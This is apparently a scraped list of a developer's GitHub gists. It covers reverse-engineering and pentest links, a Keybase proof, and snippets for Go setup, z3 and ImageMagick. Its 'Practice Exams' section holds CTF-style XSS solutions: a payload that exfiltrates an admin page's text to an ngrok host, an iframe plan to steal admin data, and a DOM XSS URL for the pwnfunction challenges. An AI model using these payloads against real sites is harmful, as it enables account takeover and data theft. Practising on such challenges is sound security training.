Diógenes Fernandes diofeher

Reverse Engineering

Radare2: https://gist.github.com/williballenthin/6857590dab3e2a6559d7

GDB: https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf

Pentest

OSCP: https://anhtai.me/oscp-fun-guide/

Keybase proof

I hereby claim:

I am diofeher on github.
I am diofeher (https://keybase.io/diofeher) on keybase.
I have a public key ASBWvH2xuFlSBLsOhpaKe7L73dj0SCd5TpyUz2EMkLgbDQo

To claim this, I am signing this object:

Connecting a Google Form to Github Projects

Create a Github App

Use the following doc: https://docs.github.com/en/developers/apps/building-github-apps/creating-a-github-app

Needed Permissions

Courses

Practice Exams:

First - XSS on the User

<http://g<!s://q?<!-<[<script>top.admin.location='https://196cffb1.ngrok.io/?data='+JSON.stringify(top.admin.document.getElementsByClassName('is-4')[0].textContent.trim());/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(13);/*](http://g)->a>

Second - Create a page with two iframes. With one, you stay with the admin logged in and with the other one:

Log out
Login with your XSS user
Control the admin iframe with XSS and exfiltrate the data

Solutions of https://xss.pwnfunction.com/

Touch Ma Spaghet

Dom-Based XSS

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cimg%20src=%22x%22%20onerror=%22alert(1337)%22%20/%3E

	{{- /* Template based on https://docs.gitlab.com/ee/user/application_security/container_scanning/#reports-json-format */ -}}
	{
	"version": "11.0.0",
	"vulnerabilities": [
	{{- $t_first := true }}
	{{- range . }}
	{{- $target := .Target }}
	{{- range .Vulnerabilities -}}
	{{- if $t_first -}}
	{{- $t_first = false -}}

	# Installing Go environment on MAC + Visual Studio Code + Oh my ZSH
	brew install go

	cat <<EOT >> $HOME/.zshrc
	export GOROOT="/usr/local/Cellar/go/1.14.4/libexec/"
	export GOPATH="$HOME/workspace/go"
	export PATH="${PATH}:${GOPATH}:${GOPATH}/bin"
	EOT

	source $HOME/.zshrc


	from z3 import Solver, Ints, Or, And, Not, sat

	x, y, z = Ints('x y z')
	s = Solver()

	s.add(x >= 0, x <= 9)
	s.add(y >= 0, y <= 9)
	s.add(z >= 0, z <= 9)

	# concatenate two images with different sizes
	convert image1.jpeg image2.jpeg -gravity Center -resize 800x200 +append output.jpeg